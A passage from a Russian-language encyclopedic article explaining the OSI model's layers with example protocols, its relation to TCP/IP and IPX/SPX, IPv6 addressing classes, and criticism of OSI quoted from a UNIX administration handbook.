Пример: AFP — Apple Filing Protocol, ASCII — American Standard Code for Information Interchange, EBCDIC — Extended Binary Coded Decimal Interchange Code, ICA — Independent Computing Architecture, LPP — Lightweight Presentation Protocol, NCP — NetWare Core Protocol, NDR — Network Data Representation RDP — Remote Desktop Protocol, XDR — eXternal Data Representation, X.25 PAD — Packet Assembler/Disassembler Protocol

Сеансовый уровень (англ. Session layer)

Основная статья: Сеансовый уровень

5-й уровень модели отвечает за поддержание сеанса связи, позволяя приложениям взаимодействовать между собой длительное время. Уровень управляет созданием/завершением сеанса, обменом информацией, синхронизацией задач, определением права на передачу данных и поддержанием сеанса в периоды неактивности приложений. Синхронизация передачи обеспечивается помещением в поток данных контрольных точек, начиная с которых возобновляется процесс при нарушении взаимодействия.

Пример: ADSP (AppleTalk Data Stream Protocol), ASP (AppleTalk Session Protocol), H.245 (Call Control Protocol for Multimedia Communication), ISO-SP (OSI Session Layer Protocol (X.225, ISO 8327)), iSNS (Internet Storage Name Service), L2F (Layer 2 Forwarding Protocol), L2TP (Layer 2 Tunneling Protocol), NetBIOS (Network Basic Input Output System), PAP (Password Authentication Protocol), PPTP (Point-to-Point Tunneling Protocol), RPC (Remote Procedure Call Protocol), RTCP (Real-time Transport Control Protocol), SMPP (Short Message Peer-to-Peer), SCP (Secure Copy Protocol), ZIP (Zone Information Protocol), SDP (Sockets Direct Protocol).

Транспортный уровень (англ. Transport layer)

Основная статья: Транспортный уровень

4-й уровень модели предназначен для доставки данных без ошибок, потерь и дублирования в той последовательности, как они были переданы. При этом не важно, какие данные передаются, откуда и куда, то есть он предоставляет сам механизм передачи. Блоки данных он разделяет на фрагменты, размер которых зависит от протокола, короткие объединяет в один, а длинные разбивает. Пример: TCP, UDP.

Существует множество классов протоколов транспортного уровня, начиная от протоколов, предоставляющих только основные транспортные функции (например, функции передачи данных без подтверждения приема), и заканчивая протоколами, которые гарантируют доставку в пункт назначения нескольких пакетов данных в надлежащей последовательности, мультиплексируют несколько потоков данных, обеспечивают механизм управления потоками данных и гарантируют достоверность принятых данных.

Некоторые протоколы сетевого уровня, называемые протоколами без установки соединения, не гарантируют, что данные доставляются по назначению в том порядке, в котором они были посланы устройством-источником. Некоторые транспортные уровни справляются с этим, собирая данные в нужной последовательности до передачи их на сеансовый уровень. Мультиплексирование (multiplexing) данных означает, что транспортный уровень способен одновременно обрабатывать несколько потоков данных (потоки могут поступать и от различных приложений) между двумя системами. Механизм управления потоком данных — это механизм, позволяющий регулировать количество данных, передаваемых от одной системы к другой. Протоколы транспортного уровня часто имеют функцию контроля доставки данных, заставляя принимающую данные систему отправлять подтверждения передающей стороне о приеме данных.

Описать работу протоколов с установкой соединения можно на примере работы обычного телефона. Протоколы этого класса начинают передачу данных с вызова или установки маршрута следования пакетов от источника к получателю. После чего начинают последовательную передачу данных и затем по окончании передачи разрывают связь.

Протоколы без установки соединения, которые посылают данные, содержащие полную адресную информацию в каждом пакете, работают аналогично почтовой системе. Каждое письмо или пакет содержит адрес отправителя и получателя. Далее каждый промежуточный почтамт или сетевое устройство считывает адресную информацию и принимает решение о маршрутизации данных. Письмо или пакет данных передается от одного промежуточного устройства к другому до тех пор, пока не будет доставлено получателю. Протоколы без установки соединения не гарантируют поступление информации получателю в том порядке, в котором она была отправлена. За установку данных в соответствующем порядке при использовании сетевых протоколов без установки соединения отвечают транспортные протоколы.

Пример: ATP (AppleTalk Transaction Protocol), CUDP (Cyclic UDP), DCCP (Datagram Congestion Control Protocol), FCP (Fiber Channel Protocol), IL (IL Protocol), NBF (NetBIOS Frames protocol), NCP (Netware Core Protocol), SCTP (Stream Control Transmission Protocol), SPX (Sequenced Packet Exchange), SST (Structured Stream Transport), TCP (Transmission Control Protocol), UDP (User Datagram Protocol).

Сетевой уровень (англ. Network layer)

Основная статья: Сетевой уровень

3-й уровень сетевой модели OSI предназначен для определения пути передачи данных. Отвечает за трансляцию логических адресов и имён в физические, определение кратчайших маршрутов, коммутацию и маршрутизацию, отслеживание неполадок и заторов в сети. На этом уровне работает такое сетевое устройство, как маршрутизатор.

Протоколы сетевого уровня маршрутизируют данные от источника к получателю.

Пример: IP/IPv4/IPv6 (Internet Protocol), IPX (Internetwork Packet Exchange, протокол межсетевого обмена), X.25 (частично этот протокол реализован на уровне 2) CLNP (сетевой протокол без организации соединений), IPsec (Internet Protocol Security), ICMP (Internet Control Message Protocol), RIP (Routing Information Protocol), OSPF (Open Shortest Path First).

Канальный уровень (англ. Data Link layer)

Основная статья: Канальный уровень

Этот уровень предназначен для обеспечения взаимодействия сетей на физическом уровне и контроля за ошибками, которые могут возникнуть. Полученные с физического уровня данные он упаковывает во фреймы, проверяет на целостность, если нужно исправляет ошибки (посылает повторный запрос поврежденного кадра) и отправляет на сетевой уровень. Канальный уровень может взаимодействовать с одним или несколькими физическими уровнями, контролируя и управляя этим взаимодействием. Спецификация IEEE 802 разделяет этот уровень на 2 подуровня — MAC (Media Access Control) регулирует доступ к разделяемой физической среде, LLC (Logical Link Control) обеспечивает обслуживание сетевого уровня.

На этом уровне работают коммутаторы, мосты.

Протоколы: ARCnet, ATM, Cisco Discovery Protocol (CDP), Controller Area Network (CAN), Econet, Ethernet, Ethernet Automatic Protection Switching (EAPS), Fiber Distributed Data Interface (FDDI), Frame Relay, High-Level Data Link Control (HDLC), IEEE 802.2 (provides LLC functions to IEEE 802 MAC layers), IEEE 802.11 wireless LAN, Link Access Procedures, D channel (LAPD), LocalTalk, Multiprotocol Label Switching (MPLS), Point-to-Point Protocol (PPP), Serial Line Internet Protocol (SLIP) (obsolete), Spanning tree protocol, StarLan, Token ring, Unidirectional Link Detection (UDLD), x.25.

В программировании этот уровень представляет драйвер сетевой платы, в операционных системах имеется программный интерфейс взаимодействия канального и сетевого уровней между собой, это не новый уровень, а просто реализация модели для конкретной ОС. Примеры таких интерфейсов: ODI, NDIS

Физический уровень (англ. Physical layer)

Основная статья: Физический уровень

Самый нижний уровень модели предназначен непосредственно для передачи потока данных. Осуществляет передачу электрических или оптических сигналов в кабель или в радиоэфир и, соответственно, их приём и преобразование в биты данных в соответствии с методами кодирования цифровых сигналов. Другими словами, осуществляет интерфейс между сетевым носителем и сетевым устройством.

На этом уровне работают концентраторы (хабы), повторители (ретрансляторы) сигнала и медиаконверторы.

Функции физического уровня реализуются на всех устройствах, подключенных к сети. Со стороны компьютера функции физического уровня выполняются сетевым адаптером или последовательным портом. К физическому уровню относятся физические, электрические и механические интерфейсы между двумя системами. Физический уровень определяет такие свойства среды сети передачи данных как оптоволокно, витая пара, коаксиальный кабель, спутниковый канал передач данных и т. п. Стандартными типами сетевых интерфейсов, относящимися к физическому уровню, являются: V.35, RS-232C, RS-485, RJ-11, RJ-45, разъемы AUI и BNC.

Протоколы: IRDA, USB, EIA RS-232, EIA-422, EIA-423, RS-449, RS-485, Ethernet (включая 10BASE-T, 10BASE2, 10BASE5, 100BASE-TX, 100BASE-FX, 100BASE-T, 1000BASE-T, 1000BASE-SX и другие), 802.11Wi-Fi, DSL, ISDN, SONET/SDH, GSM Um radio interface, IEEE 802.15, ITU и ITU-T, Firewire, TransferJet, Etherloop, ARINC 818, G.hn/G.9960.

Модель OSI и реальные протоколы

Семиуровневая модель OSI является теоретической, и содержит ряд недоработок. Были попытки строить сети в точном соответствии с моделью OSI, но созданные таким образом сети были дорогими, ненадёжными и неудобными в эксплуатации. Реальные сетевые протоколы, используемые в существующих сетях, вынуждены отклоняться от неё, обеспечивая непредусмотренные возможности, поэтому привязка некоторых из них к уровням OSI является несколько условной: некоторые протоколы занимают несколько уровней модели OSI, функции обеспечения надёжности реализованы на нескольких уровнях модели OSI.

Основная недоработка OSI — непродуманный транспортный уровень. На нём OSI позволяет осуществлять обмен данными между приложениями (вводя понятие порта — идентификатора приложения), однако, возможность обмена простыми датаграммами (по типу UDP) в OSI не предусмотрена — транспортный уровень должен образовывать соединения, обеспечивать доставку, управлять потоком и т. п. (по типу TCP). Реальные же протоколы реализуют такую возможность.

Семейство TCP/IP

Семейство TCP/IP имеет три транспортных протокола: TCP, полностью соответствующий OSI, обеспечивающий проверку получения данных, UDP, отвечающий транспортному уровню только наличием порта, обеспечивающий обмен датаграммами между приложениями, не гарантирующий получения данных и SCTP, разработанный для устранения некоторых недостатков TCP и в который добавлены некоторые новшества. (В семействе TCP/IP есть ещё около двухсот протоколов, самым известным из которых является служебный протокол ICMP, используемый для внутренних нужд обеспечения работы; остальные также не являются транспортными протоколами.)

Семейство IPX/SPX

В семействе IPX/SPX порты (называемые «сокеты» или «гнёзда») появляются в протоколе сетевого уровня IPX, обеспечивая обмен датаграммами между приложениями (операционная система резервирует часть сокетов для себя). Протокол SPX, в свою очередь, дополняет IPX всеми остальными возможностями транспортного уровня в полном соответствии с OSI.

В качестве адреса хоста IPX использует идентификатор, образованный из четырёхбайтного номера сети (назначаемого маршрутизаторами) и MAC-адреса сетевого адаптера.

Модель DOD

Стек протоколов TCP/IP, использующий упрощённую четырёхуровневую модель OSI.

Адресация в IPv6

Адреса назначения и источника в IPv6 имеют длину 128 бит или 16 байт. Версия 6 обобщает специальные типы адресов версии 4 в следующих типах адресов:

  • Unicast — индивидуальный адрес. Определяет отдельный узел — компьютер или порт маршрутизатора. Пакет должен быть доставлен узлу по кратчайшему маршруту.
  • Cluster — адрес кластера. Обозначает группу узлов, которые имеют общий адресный префикс (например, присоединенных к одной физической сети). Пакет должен быть маршрутизирован группе узлов по кратчайшему пути, а затем доставлен только одному из членов группы (например, ближайшему узлу).
  • Multicast — адрес набора узлов, возможно в различных физических сетях. Копии пакета должны быть доставлены каждому узлу набора, используя аппаратные возможности групповой или широковещательной доставки, если это возможно.

Как и в версии IPv4, адреса в версии IPv6 делятся на классы, в зависимости от значения нескольких старших бит адреса.

Большая часть классов зарезервирована для будущего применения. Наиболее интересным для практического использования является класс, предназначенный для провайдеров услуг Internet, названный Provider-Assigned Unicast.

Адрес этого класса имеет следующую структуру:

010Идентификатор
провайдера
Идентификатор
абонента
Идентификатор
подсети
Идентификатор
узла

Каждому провайдеру услуг Internet назначается уникальный идентификатор, которым помечаются все поддерживаемые им сети. Далее провайдер назначает своим абонентам уникальные идентификаторы, и использует оба идентификатора при назначении блока адресов абонента. Абонент сам назначает уникальные идентификаторы своим подсетям и узлам этих сетей.

Абонент может использовать технику подсетей, применяемую в версии IPv4, для дальнейшего деления поля идентификатора подсети на более мелкие поля.

Описанная схема приближает схему адресации IPv6 к схемам, используемым в территориальных сетях, таких как телефонные сети или сети Х.25. Иерархия адресных полей позволит магистральным маршрутизаторам работать только со старшими частями адреса, оставляя обработку менее значимых полей маршрутизаторам абонентов.

Под поле идентификатора узла требуется выделения не менее 6 байт, для того чтобы можно было использовать в IP-адресах МАС-адреса локальных сетей непосредственно.

Для обеспечения совместимости со схемой адресации версии IPv4, в версии IPv6 имеется класс адресов, имеющих 0000 0000 в старших битах адреса. Младшие 4 байта адреса этого класса должны содержать адрес IPv4. Маршрутизаторы, поддерживающие обе версии адресов, должны обеспечивать трансляцию при передаче пакета из сети, поддерживающей адресацию IPv4, в сеть, поддерживающую адресацию IPv6, и наоборот.

Критика

Семиуровневая модель OSI критиковалась некоторыми специалистами. В частности в классической книге «UNIX. Руководство системного администратора» Эви Немет и другие пишут:

… Пока комитеты ISO спорили о своих стандартах, за их спиной менялась вся концепция организации сетей и по всему миру внедрялся протокол TCP/IP. …

И вот, когда протоколы ISO были наконец реализованы,выявился целый ряд проблем:
• Эти протоколы основывались на концепциях, не имеющих в современных сетях никакого смысла.
• Их спецификации были в некоторых случаях неполными.
• По своим функциональным возможностям они уступали другим протоколам.
• Наличие многочисленных уровней сделало эти протоколы медлительными и трудными для реализации.

… Сейчас даже самые рьяные сторонники этих протоколов признают, что OSI постепенно движется к тому, чтобы стать маленькой сноской на страницах истории компьютеров.